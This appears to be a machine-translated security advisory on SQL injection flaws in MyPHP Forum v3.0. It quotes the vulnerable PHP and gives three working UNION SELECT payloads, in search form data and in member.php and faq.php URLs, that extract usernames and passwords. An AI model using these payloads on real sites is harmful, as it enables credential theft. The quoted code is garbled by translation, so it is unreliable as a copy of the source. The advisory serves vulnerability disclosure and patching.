MyPHP Forum SQL Injection Vulnerability Analysis

Affected Systems:

MyPHP. ws MyPHP Forum v3.0 (Final)

Description:

Bugtraq id: 27118

MyPHP Forum is a Forum that is easy to set up and easy to use based on MySQL and PHP.

The input authentication vulnerability exists when MyPHP Forum processes user request data. Remote attackers may exploit this vulnerability to execute SQL injection attacks.

MyPHP Forum faq. the PHP file does not correctly verify the id parameter input, member. the PHP file does not correctly verify the input of the member parameter, search. the PHP file does not correctly verify the input of the searchtext and searchuser parameters. Attackers can control SQL queries by injecting arbitrary SQL code. Magic_quotes_gpc must be disabled for successful attacks.

Faq. php file vulnerability code:

　　

// Faq. php

[...]

$ Id = $ _ GET [id];

If ($ action = "view "&&! Empty ($ id )){

$ Result = mysql_query ("SELECT * from $ db_faq WHERE id = $ id") or die (mysql_error (); // <-- So miss a control:-D

$ Row = mysql_fetch_array ($ result );

$ Row [answer] = postify ($ row [answer]);

[...]

?>

Vulnerability code in the member. php file:

　　

// Member. php

[...]

If ($ action = "viewpro "){

$ Member = $ HTTP_GET_VARS [member];

$ Query = mysql_query ("SELECT * FROM $ db_member WHERE username = $ member") or die (mysql_error ());

[...]

?>

Vulnerability code in the search. php file:

If ($ _ POST [submit]) {

$ Searchtext = $ _ POST [searchtext];

$ Searchuser =$ _ POST [searchuser];

If (! Strstr ($ searchtext ,")){

$ Keywords = explode ("", $ searchtext );

For ($ I = 0; $ I <count ($ keywords); $ I ++ ){

If ($ sqladdon! = ""){

$ Sqladdon. = "AND p. message LIKE % $ keywords [$ I] % ";

} Else {

$ Sqladdon. = "p. message LIKE % $ keywords [$ I] % ";

}

}

} Else {

$ Phrase = trim (stripslashes (strstr ($ searchtext ,")));

$ Quotesarr = explode (", $ phrase );

$ Quotes = count ($ quotesarr );

$ Phrasecount = $ quotes-(count (explode ("", $ phrase) + 1 );

For ($ I = 0; $ I <$ quotes; $ I ++ ){

If ($ I! = 0 & $ I! = $ Quotes-1 ){

If ($ phraseoff! = "Yes "){

$ Phraselist. = "$ quotesarr [$ I]";

$ Phraseoff = "yes ";

} Else {

$ Phraseoff = "no ";

}

}

}

$ Phrasearr = explode ("", $ phraselist );

$ Phrases = count ($ phrasearr)-1;

For ($ I = 0; $ I <$ phrases; $ I ++ ){

If ($ sqladdon! = ""){

$ Sqladdon. = "AND p. message LIKE % $ phrasearr [$ I] % ";

} Else {

$ Sqladdon. = "p. message LIKE % $ phrasearr [$ I] % ";

}

}

$ Newsearchtxt = trim (str_replace ("$ phrase", "", stripslashes ($ searchtext )));

If ($ newsearchtxt! = ""){

$ Keywords = explode ("", $ newsearchtxt );

}

For ($ I = 0; $ I <count ($ keywords); $ I ++ ){

If ($ sqladdon! = ""){

$ Sqladdon. = "AND p. message LIKE % $ keywords [$ I] % ";

} Else {

$ Sqladdon. = "p. message LIKE % $ keywords [$ I] % ";

}

}

}

If ($ searchuser! = ""){

If ($ sqladdon! = ""){

$ Sqladdon. = "AND p. author LIKE % $ searchuser % ";

} Else {

$ Sqladdon. = "p. author LIKE % $ searchuser % ";

}

}

If ($ sqladdon! = ""){

Search_header ();

$ Ttnum = 1; // Now the Vulnerable Query =)

$ Query = mysql_query ("SELECT t. *, f. name AS forum FROM $ db_post p, $ db_topic t, $ db_forum f WHERE $ sqladdon AND t. tid = p. tid AND f. fid = t. fid ") or die (mysql_error ());

<* Source: x0kster (x0kster@gmail.com)

The: Paradox

Link: http://secunia.com/advisories/28280/

Http://milw0rm.com/exploits/4831

Http://milw0rm.com/exploits/4822

*>

Test method:

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Submit = Search & searchtext = %/**/UNION/**/SELECT/**/0, 0, concat (

-= ParadoxGotThisOne =-

Username:, username,
Password:, password,
), 0, 0, 0, 0, 0/**/FROM/**/[Prefix] _ member/**/WHERE/**/uid = [Id]/*"

Http: // Site/member. php? Action = viewpro & member =-1 + union + select + 1, 2, 3, 4, 5, 6, 7, 8, 9, concat (username, 0x3a, password), 11,12, 13, 14, 15,16, 17,18, 19,20, 21,22 + from + {table_prefix} _ member + where + uid = 1 /*

Http: // Site/faq. php? Action = view & id =-1 + union + select + 1, concat (username, 0x3a, password ), 3 + from + {table_prefix} _ member + where + uid = 1 /*

Suggestion:

Vendor patch:

MyPHP. ws

--------

We recommend that users of this software follow the vendor's homepage to obtain the latest version:

Http://www.myphp.ws/